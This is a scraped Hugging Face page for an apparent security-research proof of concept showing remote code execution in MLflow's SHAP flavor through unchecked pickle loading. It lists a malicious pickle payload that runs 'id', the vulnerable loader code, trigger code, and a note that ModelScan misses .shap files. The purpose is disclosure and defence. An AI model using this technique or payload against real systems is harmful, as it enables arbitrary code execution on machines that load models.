Downloads · 30 days
0
hoanghai2110/mlflow-shap-rce-poc
mlflow-shap-rce-poc is a machine learning model from hoanghai2110. Use it for the machine learning task on the model card, and read the license before you ship it in a product. The card lists the license as mit.
Security Research PoC — submitted to huntr.com
Downloads · 30 days
0
Access
Public
Updated Jul 3, 2026
Repo size
—
Likes
0
Public
Click a slice to open those files.
.md2 KB · 47%
From the Hugging Face model README
Security Research PoC — submitted to huntr.com
This repository demonstrates a Remote Code Execution vulnerability in MLflow's shap flavor.
MLflow's SHAP flavor saves serialized explainer objects as explainer.shap files,
which are internally pickle/cloudpickle binaries. When loading, _load_explainer()
calls shap.Explainer.load() — which internally calls pickle.load() — without
checking MLFLOW_ALLOW_PICKLE_DESERIALIZATION, MLflow's security control against
arbitrary deserialization.
Additionally, the .shap extension is not recognized by ModelScan as a dangerous
format, providing a second layer of evasion.
| File | Description |
|---|---|
MLmodel | Crafted MLflow model config — shap flavor, serialized_explainer: explainer.shap |
explainer.shap | Malicious payload — pickle protocol 4, executes id > /tmp/mlflow_shap_rce.txt |
conda.yaml | Standard conda environment spec |
python_env.yaml | Standard Python environment spec |
mlflow/shap/__init__.py lines 644–650
def _load_explainer(explainer_file, model=None):
import shap
with open(explainer_file, "rb") as explainer:
explainer = shap.Explainer.load(explainer) # ← pickle.load, NO protection check
import os, mlflow
os.environ["MLFLOW_ALLOW_PICKLE_DESERIALIZATION"] = "false" # protection ON
# Load model — triggers pickle.load on explainer.shap
model = mlflow.pyfunc.load_model("path/to/this/repo")
# Check RCE:
with open("/tmp/mlflow_shap_rce.txt") as f:
print(f.read()) # uid=1000(user) gid=1000(user) ...
MLFLOW_ALLOW_PICKLE_DESERIALIZATION=false.shap files